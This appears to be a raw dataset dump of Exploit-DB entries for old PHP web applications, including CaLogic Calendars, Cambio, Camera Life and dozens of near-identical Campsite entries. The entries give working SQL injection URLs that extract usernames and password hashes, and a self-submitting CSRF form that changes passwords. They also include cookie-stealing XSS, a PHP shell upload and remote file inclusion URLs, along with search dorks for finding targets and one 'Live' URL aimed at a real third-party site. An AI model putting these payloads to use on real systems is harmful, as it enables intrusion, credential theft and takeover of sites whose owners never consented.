deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5607
Description: CaLogic Calendars 1.2.2 - 'langsel' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-13
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/       CaLogic Calendars V1.2.2  Remote SQL injection          \
\                                				/
\---------------------------------------------------------------/


[*] Author    : His0k4 [ALGERIAN HaCkEr]

[*] Dork      : "CaLogic Calendars V1.2.2"

[*] POC        : http://localhost/[SCRIPT_PATH]/userreg.php?langsel={SQL}

[*] Example    : http://localhost/[SCRIPT_PATH]/userreg.php?langsel=1 and 1=0 UNION SELECT concat(uname,0x3a,pw) FROM clc_user_reg where uid=CHAR(49)--

[*] Note       : You can see the results (user name & password) in "SQL String" line for example {SQL String: select * from clc_lang_admin:21232f297a57a5a743894a0e4a801fc3 where keyid='urth'}
                
----------------------------------------------------------------------------
[*] Greetings : Str0ke, all friends & muslims HaCkeRs...

# milw0rm.com [2008-05-13]
Exploit-DB #15970
Description: Cambio 0.5a - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-01-11
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22768
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cambio.html
Product: Cambio
Vendor: Joram van den Boezem ( http://www.cambiocms.org/ ) 
Vulnerable Version: 0.5a nightly r37 and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USERID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #6132
Description: Camera Life 2.6.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-25
Author: nuclear

Exploit:
#Camera Life 2.6.2(id) Sql Injection Vulnerability



#Author: nuclear



#script: http://downloads.sourceforge.net/fdcl/cameralife-2.6.2aa.zip



#exploit: sitemap.xml.php?page=photos&id=999999 union select concat(username,0x3a,password),null from users --



#greetz cAs, Mi4night, zYzTeM ,THE_MAN, DiGitalX, sys32r, sys32-hack, Digitalfortress, and me :P

# milw0rm.com [2008-07-25]
Exploit-DB #6594
Description: Camera Life 2.6.2b4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-27
Author: Mi4night

Exploit:
[+] CameraLife-2.6.2b4 Arbitrary File Upload Vulnerability

[+] Author:Mi4night

[+] Version:cameralife-2.6.2b4

[+] Download Script:
[+] http://sourceforge.net/project/showfiles.php?group_id=70910&package_id=70316&release_id=628868

[+] Exploit:
[+] http://127.0.0.1/cameralife/images/photos/upload/Mi4night/yourshell.php

[+] Description:
[+] After registering you can upload php files which you can access just like in the exploit section! Change Mi4night with your username.

[+] Greets to : nuclear, cAs,zYzTeM, Sys32-Hack, Pepe, G-Emp!RE, ThaWhiteNigga, *Z.i.P*,THE_MAN, I-O-W-A, Digitalfortress, DiGitalX, sys32r, pentest, Pig, d3v1l, watchdog, Gibon

# milw0rm.com [2008-09-27]
Exploit-DB #6710
Description: Camera Life 2.6.2b4 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-09
Author: BackDoor

Exploit:
Cameralife 2.6.2b4 (SQL/XSS) Multiple Remote Vulnerabilities
Script:Cameralife 2.6.2b4
Download:http://nchc.dl.sourceforge.net/sourceforge/fdcl/cameralife-2.6.2b4.zip
Author:BackDoor
Bug 1;album.php Remote SQL Injection Vulnerability
Exploit:www.target.com/scriptpath/album.php?id=-1+union+select+0,password,username,3,4,5+from+users
Live
http://chrisnolan.org/cameralife/album.php?id=-1+union+select+0,password,username,3,4,5+from+users
Bug 2;topic.php XSS Vulnerability
Exploit:www.target.com/scriptpath/topic.php?name="><script>alert(document.cookie)</script>
Live
http://chrisnolan.org/cameralife/topic.php?name="><script>alert(document.cookie)</script>
Dork:inurl:"cameralife/index.php"
BackDoor Cyber-Security.TIM //Lojistik

# milw0rm.com [2008-10-09]
Exploit-DB #30003
Description: Campsite 2.6.1 - '/implementation/Management/configuration.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                                  
Campsite is prone to multiple remote file-include vulnerabilities.
                                  
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                  
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/configuration.php?g_DocumentRoot=shell.txt?
Exploit-DB #30004
Description: Campsite 2.6.1 - '/implementation/Management/db_connect.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                                   
Campsite is prone to multiple remote file-include vulnerabilities.
                                   
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                   
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/db_connect.php?g_DocumentRoot=shell.txt?
Exploit-DB #29966
Description: Campsite 2.6.1 - 'Alias.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info

Campsite is prone to multiple remote file-include vulnerabilities.

Exploiting this issue allows remote attackers to execute code in the context of the webserver.

This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Alias.php?g_DocumentRoot=shell.txt?
Exploit-DB #29967
Description: Campsite 2.6.1 - 'article.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
 
Campsite is prone to multiple remote file-include vulnerabilities.
 
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
 
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Article.php?g_DocumentRoot=shell.txt?
Exploit-DB #29968
Description: Campsite 2.6.1 - 'ArticleAttachment.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
  
Campsite is prone to multiple remote file-include vulnerabilities.
  
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
  
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleAttachment.php?g_DocumentRoot=shell.txt?
Exploit-DB #29969
Description: Campsite 2.6.1 - 'ArticleComment.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
   
Campsite is prone to multiple remote file-include vulnerabilities.
   
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
   
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleComment.php?g_DocumentRoot=shell.txt?
Exploit-DB #29970
Description: Campsite 2.6.1 - 'ArticleData.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
    
Campsite is prone to multiple remote file-include vulnerabilities.
    
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
    
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleData.php?g_DocumentRoot=shell.txt?
Exploit-DB #29971
Description: Campsite 2.6.1 - 'ArticleImage.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
     
Campsite is prone to multiple remote file-include vulnerabilities.
     
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
     
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleImage.php?g_DocumentRoot=shell.txt?
Exploit-DB #29972
Description: Campsite 2.6.1 - 'ArticleIndex.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
      
Campsite is prone to multiple remote file-include vulnerabilities.
      
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
      
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleIndex.php?g_DocumentRoot=shell.txt?
Exploit-DB #29973
Description: Campsite 2.6.1 - 'ArticlePublish.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
       
Campsite is prone to multiple remote file-include vulnerabilities.
       
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
       
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticlePublish.php?g_DocumentRoot=shell.txt?
Exploit-DB #29974
Description: Campsite 2.6.1 - 'ArticleTopic.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
        
Campsite is prone to multiple remote file-include vulnerabilities.
        
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
        
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleTopic.php?g_DocumentRoot=shell.txt?
Exploit-DB #29975
Description: Campsite 2.6.1 - 'ArticleType.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
         
Campsite is prone to multiple remote file-include vulnerabilities.
         
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
         
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleType.php?g_DocumentRoot=shell.txt?
Exploit-DB #29976
Description: Campsite 2.6.1 - 'ArticleTypeField.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
          
Campsite is prone to multiple remote file-include vulnerabilities.
          
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
          
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ArticleTypeField.php?g_DocumentRoot=shell.txt?
Exploit-DB #29977
Description: Campsite 2.6.1 - 'Country.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
           
Campsite is prone to multiple remote file-include vulnerabilities.
           
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
           
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Country.php?g_DocumentRoot=shell.txt?
Exploit-DB #29978
Description: Campsite 2.6.1 - 'DatabaseObject.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
            
Campsite is prone to multiple remote file-include vulnerabilities.
            
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
            
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/DatabaseObject.php?g_DocumentRoot=shell.txt?
Exploit-DB #29979
Description: Campsite 2.6.1 - 'Event.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
             
Campsite is prone to multiple remote file-include vulnerabilities.
             
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
             
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Event.php?g_DocumentRoot=shell.txt?
Exploit-DB #2560
Description: CampSite 2.6.1 - 'g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-15
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
CampSite - BugReporter <= 2.6.1 Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CampSite - BugReporter
version : 2.6.1
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $g_documentRoot not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/implementation/management/priv/bugreporter/thankyou.php?g_documentRoot=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-15]
Exploit-DB #29981
Description: Campsite 2.6.1 - 'image.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
               
Campsite is prone to multiple remote file-include vulnerabilities.
               
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
               
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Image.php?g_DocumentRoot=shell.txt?
Exploit-DB #29980
Description: Campsite 2.6.1 - 'IPAccess.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
              
Campsite is prone to multiple remote file-include vulnerabilities.
              
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
              
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/IPAccess.php?g_DocumentRoot=shell.txt?
Exploit-DB #29982
Description: Campsite 2.6.1 - 'issue.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                
Campsite is prone to multiple remote file-include vulnerabilities.
                
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Issue.php?g_DocumentRoot=shell.txt?
Exploit-DB #29983
Description: Campsite 2.6.1 - 'IssuePublish.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                 
Campsite is prone to multiple remote file-include vulnerabilities.
                 
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                 
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/IssuePublish.php?g_DocumentRoot=shell.txt?
Exploit-DB #29984
Description: Campsite 2.6.1 - 'Language.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                  
Campsite is prone to multiple remote file-include vulnerabilities.
                  
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                  
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Language.php?g_DocumentRoot=shell.txt?
Exploit-DB #30005
Description: Campsite 2.6.1 - 'LocalizerConfig.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                                    
Campsite is prone to multiple remote file-include vulnerabilities.
                                    
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                    
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/priv/localizer/LocalizerConfig.php?g_DocumentRoot=shell.txt?
Exploit-DB #30006
Description: Campsite 2.6.1 - 'LocalizerLanguage.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                                     
Campsite is prone to multiple remote file-include vulnerabilities.
                                     
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                     
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/priv/localizer/LocalizerLanguage.php?g_DocumentRoot=shell.txt?
Exploit-DB #29985
Description: Campsite 2.6.1 - 'Log.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                   
Campsite is prone to multiple remote file-include vulnerabilities.
                   
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                   
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Log.php?g_DocumentRoot=shell.txt?
Exploit-DB #29986
Description: Campsite 2.6.1 - 'LoginAttempts.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                    
Campsite is prone to multiple remote file-include vulnerabilities.
                    
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                    
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/LoginAttempts.php?g_DocumentRoot=shell.txt?
Exploit-DB #29987
Description: Campsite 2.6.1 - 'Publication.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                     
Campsite is prone to multiple remote file-include vulnerabilities.
                     
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                     
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Publication.php?g_DocumentRoot=shell.txt?
Exploit-DB #29988
Description: Campsite 2.6.1 - 'Section.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                      
Campsite is prone to multiple remote file-include vulnerabilities.
                      
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                      
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Section.php?g_DocumentRoot=shell.txt?
Exploit-DB #29989
Description: Campsite 2.6.1 - 'ShortURL.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                       
Campsite is prone to multiple remote file-include vulnerabilities.
                       
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                       
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/ShortURL.php?g_DocumentRoot=shell.txt?
Exploit-DB #29990
Description: Campsite 2.6.1 - 'Subscription.php?g_documentRoot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23874/info
                        
Campsite is prone to multiple remote file-include vulnerabilities.
                        
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                        
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Subscription.php?g_DocumentRoot=shell.txt?